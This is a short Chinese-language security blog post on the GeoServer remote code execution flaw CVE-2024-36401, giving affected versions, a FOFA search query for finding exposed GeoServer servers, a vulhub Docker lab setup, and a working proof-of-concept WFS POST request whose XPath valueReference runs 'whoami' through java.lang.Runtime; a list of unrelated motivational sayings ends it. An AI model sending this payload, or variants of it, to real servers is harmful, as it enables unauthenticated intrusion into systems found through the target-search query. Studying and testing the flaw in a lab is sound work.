GeoServer 远程代码执行漏洞(CVE-2024-36401)

GeoServer 远程代码执行漏洞(CVE-2024-36401)

原创 SXdysq 南街老友 2024-07-03 23:26

漏洞简介

GeoServer 是 OpenGIS Web 服务器规范的 J2EE 实现,利用 GeoServer 可以方便的发布地图数据,允许用户对特征数据进行更新、删除、插入操作。

在GeoServer 2.25.1, 2.24.3, 2.23.5版本及以前,未登录的任意用户可以通过构造恶意OGC请求,在默认安装的服务器中执行XPath表达式,进而利用执行Apache Commons Jxpath提供的功能执行任意代码。

网络测绘

FOFA:app="GeoServer"

环境搭建

#docker-compose.yml文件
version: '3'
services:
 web:
   image: vulhub/geoserver:2.23.2
   ports:
    - "8080:8080"
    - "5005:5005"
docker compose up -d

漏洞Poc‍‍

POST /geoserver/wfs HTTP/1.1
Host: 
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.118 Safari/537.36
Content-Type: application/xml

<wfs:GetPropertyValue service='WFS' version='2.0.0'
 xmlns:topp='http://www.openplans.org/topp'
 xmlns:fes='http://www.opengis.net/fes/2.0'
 xmlns:wfs='http://www.opengis.net/wfs/2.0'>
  <wfs:Query typeNames='sf:archsites'/>
  <wfs:valueReference>exec(java.lang.Runtime.getRuntime(),'whoami')</wfs:valueReference>
</wfs:GetPropertyValue>

漏洞检测与利用‍

🍻🍻🍻🍻🍻🍻
1. 拥抱挑战:每一次的困难都是你成长的机会,只要你勇敢面对,终将会迎来曙光。

  1. 相信自己:无论身处何种境地,记住你比你想象中更坚强、更有潜力。

  2. 坚持梦想:梦想是指引你前行的灯塔,尽管道路坎坷,追寻的过程会让你变得更强大。

  3. 珍惜当下:生活中的每一个瞬间都是独一无二的礼物,享受现在,活在当下。

  4. 不断学习:知识是你通往成功的钥匙,终身学习不仅丰富了你的思想,也开拓了你的视野。

  5. 善待自己:你是最值得爱护的人,善待自己,给自己多一点耐心和关怀。

  6. 传播善意:一句温暖的话语,一个友善的举动,能够点亮他人的一天,也能让你感受到无尽的温暖。

  7. 拥抱变化:变化是生活的一部分,学会适应和迎接变化,你会发现生活充满了新的可能性。

  8. 感恩生活:感恩所拥有的一切,无论好坏,都是人生的一部分,教会你成长和成熟。

  9. 勇敢追梦:不要因为恐惧而退缩,勇敢追逐你的梦想,因为梦想成真的那一天,一切付出都会变得值得。